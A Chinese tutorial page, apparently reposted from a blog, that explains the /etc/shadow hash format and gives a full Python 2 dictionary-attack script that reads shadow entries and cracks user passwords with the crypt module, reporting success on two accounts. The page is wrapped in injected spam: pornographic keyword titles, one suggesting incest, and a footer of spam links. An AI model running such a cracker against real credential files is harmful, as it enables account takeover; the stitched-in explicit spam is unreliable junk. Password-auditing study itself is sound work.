国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

腳本之家,腳本語言編程技術及教程分享平臺!
分類導航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服務器之家 - 腳本之家 - Python - Python腳本激活Linux密碼的方法(crypt模塊)

Python腳本激活Linux密碼的方法(crypt模塊)

2021-11-12 13:10謝公子 Python

今天小編給大家分享一個非常不錯的方法破解linux口令,主要是利用linux系統中的crypt模塊模擬了linux系統中用戶密碼的加密,操作也很方便,對python破解linux口令相關知識感興趣的朋友跟隨小編一起學習下吧

環境 Kali Linux ,python版本2.7.13 。

我們利用Linux系統中的 crypt 模塊模擬了Linux系統中用戶密碼的加密,在Windows中是不存在這個庫的。

Python腳本激活Linux密碼的方法(crypt模塊)

在Linux系統中,用戶的密碼被加密存儲在了 /etc/shadow 文件中。

如下是 /etc/shadow中root用戶的字段

root:$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.:17767:0:99999:7:::

第二個字段是密碼部分的,我們把它單獨拿出來

$6$ql1UU7ZPwONL9NzX$/bz0GQ8.Ne.zqpF.L5rqPok.Zep0ypRU1X8v.Omrqnv1k6hVDzqTS1Vezencaxltk52X94eZMT/teVHI1Jwf6.

密碼部分的格式為:$id$salt$encrypted  

  • id是指用的哈希算法,id為1是MD5,id為5是SHA-256,id為6是SHA-512
  • salt 為鹽值
  • encrypted 為hash值,這里的hash值是密碼和鹽值一起加密之后得到的

在了解了shadow 文件中密碼的加密方式之后,我們就可以開始編寫python腳本了。

在編寫之前,我們需要準備好密碼字典文件 key.txt 。只有當密碼字典足夠大時,才有可能破解出密碼。

然后我們將 /etc/shadow 文件復制到python腳本所在目錄,修改文件名為 shadow.txt

在編寫時,我們創建兩個函數:main() 和 testPass() 。main() 函數打開 shadow.txt 文件中的內容,讀取其中的用戶名字段和密碼字段cryptPass。testPass() 函數將密碼字段中的 $id$salt 提取出來賦值給 salt 。然后讀取 key.txt 中的密碼字段,賦值給 word 。再利用Linux系統中python的一個crypt庫,將word和salt一起作為參數傳進去進行加密,得到 cryptWord 。最后將cryptWord和cryptPass進行對比,如果相等,則這個word就是該用戶的密碼,否則不是。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*-
"""
Created on Mon Oct 29 15:01:54 2018
@author: 小謝
"""
import crypt   ##導入Linux口令加密庫
def testPass(cryptPass):
    salt=cryptPass[cryptPass.find("$"):cryptPass.rfind("$")]  ##獲得鹽值,包含$id部分
    dictFile=open('key.txt','r')
    for word in dictFile.readlines():
        word=word.strip("\n")
        cryptWord=crypt.crypt(word,salt)                   ##將密碼字典中的值和鹽值一起加密
        if (cryptWord==cryptPass):                           ##判斷加密后的數據和密碼字段是否相等
            print "[+]Found Password:"+word+"\n"       ##如果相等則打印出來
            return
    print "[-] Password Not Found.\n"
    return
 
def main():
    passFile=open('shadow.txt')
    for line in passFile.readlines():      ##讀取文件中的所有內容
        if ":" in line:
            user=line.split(":")[0]                     ##獲得用戶名
            cryptPass=line.split(":")[1].strip(' ')   ##獲得密碼字段
            print "[*] Cracking Password for:"+user
            testPass(cryptPass)
main()

腳本運行截圖,破解出了用戶tom和用戶xie的密碼。 

Python腳本激活Linux密碼的方法(crypt模塊)

以上就是Python腳本激活Linux口令(crypt模塊)的詳細內容,更多關于python破解linux口令的資料請關注服務器之家其它相關文章!

原文鏈接:https://blog.csdn.net/qq_36119192/article/details/83514244

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 狠狠躁夜夜躁人人爽天天高潮 | 免费一区二区 | 国产精品一区二区免费 | 91精品国产综合久久久久久丝袜 | 久久爱电影 | 狠狠操狠狠干 | 成人av免费 | 日韩a∨精品日韩在线观看 国产高清视频在线观看 | 色视频网 | 干干人人 | 国产一区二区三区视频 | 日韩欧美a级v片免费播放 | 成人二区 | 亚洲黄色成人 | 日韩欧美一级电影 | 四季久久免费一区二区三区四区 | 性色蜜桃x88av | 国产中文字幕一区 | 欧美激情久久久 | 人人爱夜夜爽日日视频 | 国内精品一区二区 | 国产精品99久久久久久久vr | av中文字幕在线播放 | 国产精品日韩三级 | 91激情视频 | 日韩精品www| 色视在线 | 国内精品久久久久久久影视简单 | 色永久| 欧洲另类二三四区 | 日韩在线观看成人 | 亚洲精品久久久久久国产精华液 | 中文字幕亚洲一区 | 久久亚洲精品综合 | 日韩在线精品视频 | 免费日韩| 中文字幕在线视频第一页 | 久久国产精品一区二区三区 | 欧美日韩精品一区二区三区蜜桃 | 欧美日韩国产在线观看 | 亚洲日韩中文字幕在线播放 |